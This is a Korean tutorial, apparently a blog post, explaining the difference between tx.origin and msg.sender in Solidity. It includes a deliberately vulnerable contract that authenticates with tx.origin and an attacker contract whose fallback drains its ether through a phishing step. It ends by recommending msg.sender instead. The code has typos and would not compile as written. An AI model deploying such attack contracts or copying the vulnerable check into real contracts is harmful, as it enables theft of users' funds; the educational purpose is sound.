tx.origin
이라는 전역 변수가 있다.tx.origin
은 call
을 호출한 계정의 주소를 저장한다.msg.sender
와 tx.origin
의 차이점을 알아보기 위해 아래와 같은 상황이 있다고 하자.
해당 상황은 다음과 같다.
one()
을 호출하면 내부의 함수 two()
를 호출하고, 해당 함수는 내부적으로 컨트랙트 B의 함수 three()
의 함수를 호출한다.이러한 상황에서 컨트랙트 B에 대해 msg.sender
는 컨트랙트 A가 될 것이다.
하지만 tx.origin
은 트랜잭션을 시작한 주소가 된다. 즉, 이 경우 사용자(EOA)가 된다.
정리하자면,
msg.sender
tx.origin
tx.origin
는 컨트랙트가 될 수 없다.tx.origin
인증 공격은 위와 같이 스마트 컨트랙트에서 tx.origin
을 이용해 인증 작업을 하는 상황에서 실행할 수 있는 공격 방법이다.
예를 들어 다음과 같은 스마트 컨트랙트가 존재한다고 하자.
contract Phishable {
address public owner;
constructor (address _owner) {
owner = _owner;
}
// 이더를 모으는 fallback 함수
fallback () external payable {
// ...
}
function withdrawAll(address _recipient) public payable {
require(tx.origin == owner);
_recipiect.transfer(this.balance);
}
}
해당 컨트랙트는 tx.origin
을 통해 인증을 하고 withdrawAll()
함수로 해당 컨트랙트의 이더를 전송하도록 구현되어 있다.
이 경우 공격자는 아래와 같은 컨트랙트를 작성해 공격하여 컨트랙트의 이더를 제한 없이 받을 수 있다.
interface Phishable {
// ...
function withdrawAll(address _recipient) external;
}
contract AttackContract {
Phishable pishableContract;
address attacker;
constructor (Phishable _phisiableContract, address _attacker) {
phishableContract = Phishable(_phishableContract);
attacker = _attacker;
}
// 공격을 위한 fallback 함수
fallback () external payable {
phishableContract.withdrawAll(attacker);
}
}
위의 공격 컨트랙트는 다음과 같이 실행된다.
owner
에게 AttackContract
가 일반 계정인 것 처럼 속여 해당 계정에 이더을 보내도록 유도한다.AttackContract
에게 owner
가 이더를 보내게 되면, 공격을 위한 fallback 함수가 실행된다.Phishable
컨트랙트의 withdrawAll()
함수를 호출하는데, 인자로 해커의 계정 주소를 넣는다.tx.origin
은 owner
이다. owner
가 AttackContract
에게 이더를 전송해AttackContract
의 fallback 함수를 호출했고, 거기서 다시 Phishable
의 withdrawAll()
함수를 호출했기 때문이다. tx.origin
은 call
을 시작한 계정 정보를 계속 유지하고 있기 때문에 가능하다.Phishable
컨트랙트에 모아진 이더는 공격자에게 전송된다!이처럼 tx.origin
을 사용하는 것은 위험하며, 최대한 사용하지 않는 것이 좋다.
솔리디티 공식 문서에서도 사용하지 않는 것을 강력 권장하고 있다.
tx.orgin
대신 msg.sender
를 사용하자.require(tx.origin == msg.sender)
같은 방법을 사용하자.